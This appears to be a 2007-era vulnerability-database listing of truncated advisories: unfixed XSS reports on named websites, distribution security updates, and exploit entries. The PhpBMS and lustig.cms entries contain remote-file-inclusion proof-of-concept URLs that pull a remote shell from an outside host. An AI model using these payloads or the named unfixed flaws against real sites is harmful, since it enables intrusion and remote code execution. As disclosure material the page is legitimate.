Unfixed XSS vulnerability at gallys.shemaletugjobs.com

Security researcher TreX, has submitted on 13/12/2007 a cross-site-scripting XSS vulnerability affecting gallys.shemaletugjobs.com, which at the time of submission ranked 22515 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 19/12/2007. It is...

Unfixed XSS vulnerability at www.prettyclip.com

Security researcher TreX, has submitted on 13/12/2007 a cross-site-scripting XSS vulnerability affecting www.prettyclip.com, which at the time of submission ranked 41067 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 24/12/2007. It is currentl...

Unfixed XSS vulnerability at www.yellowpages.com.my

Security researcher DerickTham, has submitted on 13/12/2007 a cross-site-scripting XSS vulnerability affecting www.yellowpages.com.my, which at the time of submission ranked 29898 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/01/2008. It i...

phpbms-rfi.txt

PhpBMS 0.92 Remote File Include Exploit ------------------------------| Release date :2007-11-13 13:04| ------------------------------| -------| Exploit| -------| -------------------------------------------------------------------- http://site.net/cron.php?schedulerecord=http://host.com/evilshell...

GLSA-200711-13 : 3proxy: Denial of Service

The remote host is affected by the vulnerability described in GLSA-200711-13 3proxy: Denial of Service 3proxy contains a double free vulnerability in the ftpprchild function, which frees param-hostname and calls the parsehostname function, which in turn attempts to free param-hostname again. Impa...

JVN#50495547 Ichitaro series buffer overflow vulnerability

The "Ichitaro" series word processing software, from JustSystems Corporation, contains a buffer overflow vulnerability. If a user opens a specially crafted jtd file or views it on a web browser, an attacker could execute arbitrary code with the privileges of the user. Impact An attacker could...

openSUSE 10 Security Update : java-1_5_0-sun (java-1_5_0-sun-4527)

The Sun JAVA JDK 1.5.0 was upgraded to release 13 to fix various bugs, including the following security bugs : http://sunsolve.sun.com/search/document.do?assetkey=1-26-103 079-1 CVE-2007-5232: Sun Java Runtime Environment JRE in JDK and JRE 6 Update 2 and earlier, JDK and JRE 5.0 Update 12 and...

openSUSE 10 Security Update : java-1_4_2-sun-demo (java-1_4_2-sun-demo-2469)

The SUN Java packages have been upgraded to 1.4.2 update 13 and 1.5.0 update 10 to fix various security problems, this update contains the missing packages that were left out for 10.2. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were...

openSUSE 10 Security Update : MozillaFirefox (MozillaFirefox-3547)

This update brings Mozilla Firefox to security update version 2.0.0.4 This is a major upgrade from the Firefox 1.5.0.x line for SUSE Linux 10.0 and 10.1. - MFSA 2007-17 / CVE-2007-2871 : Chris Thomas demonstrated that XUL popups opened by web content could be placed outside the boundaries of the...

Unfixed XSS vulnerability at www.openlab.cn

Security researcher kusomiso.com, has submitted on 13/10/2007 a cross-site-scripting XSS vulnerability affecting www.openlab.cn, which at the time of submission ranked 901831 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 01/11/2007. It is...

Unfixed XSS vulnerability at www.infusionconnections.com

Security researcher BackDoor, has submitted on 13/10/2007 a cross-site-scripting XSS vulnerability affecting www.infusionconnections.com, which at the time of submission ranked 1920040 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 01/11/2007...

Unfixed XSS vulnerability at search.couponcabin.com

Security researcher tenest, has submitted on 13/10/2007 a cross-site-scripting XSS vulnerability affecting search.couponcabin.com, which at the time of submission ranked 23318 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 01/11/2007. It is...

Unfixed XSS vulnerability at www.sehitlerolmez.com

Security researcher st@rext, has submitted on 13/10/2007 a cross-site-scripting XSS vulnerability affecting www.sehitlerolmez.com, which at the time of submission ranked 610148 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/10/2007. It is...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in index.php in a Wikepage Opus 13 2007.2 and b TipiWiki 2 allow remote attackers to inject arbitrary web script or HTML via the 1 PageContent and 2 PageName parameters...

HP-UX Security Patch : PHKL_33526

VxFS 3.5-ga15 Kernel Cumulative Patch 13 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if !definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid26420; scriptversion"1.9"; scriptsetattributeattribute:"pluginmodificationdate",...

lustig.cms BETA 2.5 (forum.php view) Remote File Inclusion Vulnerability

No description provided by source. lustig.cms BETA 2.5 forum.php view Remote File Inclusion Vulnerabilities D.Scripts : http://dfn.dl.sourceforge.net/sourceforge/lustig-cms/lustig.cmsbeta2.52.zip V.Code : Line 12 . 13 . 14 ifisset$view include $view; POC : /forum/forum.php?view=Shell sebug.net...

lustig.cms Beta 2.5 - 'forum.php?view' Remote File Inclusion

lustig.cms BETA 2.5 forum.php view Remote File Inclusion Vulnerabilities D.Scripts : http://dfn.dl.sourceforge.net/sourceforge/lustig-cms/lustig.cmsbeta2.52.zip V.Code : Line 12 . 13 . 14 ifisset$view include $view; POC : /forum/forum.php?view=Shell milw0rm.com 2007-09-27...

NovaSTOR NovaNET 12.0 - Remote Command Execution

/ source: https://www.securityfocus.com/bid/39693/info NovaStor NovaNET is prone to code-execution, denial-of-service, and information-disclosure vulnerabilities. An attacker can exploit these issues to execute arbitrary code, access sensitive information, or crash the affected application, denyi...

GLSA-200709-13 : rsync: Two buffer overflows

The remote host is affected by the vulnerability described in GLSA-200709-13 rsync: Two buffer overflows Sebastian Krahmer from the SUSE Security Team discovered two off-by-one errors in the function 'fname' in file sender.c when processing overly long directory names. Impact : A remote attacker...

NovaSTOR NovaNET 11.0 - Remote Denial of Service / Arbitrary Memory Read

// source: https://www.securityfocus.com/bid/39693/info NovaStor NovaNET is prone to code-execution, denial-of-service, and information-disclosure vulnerabilities. An attacker can exploit these issues to execute arbitrary code, access sensitive information, or crash the affected application,...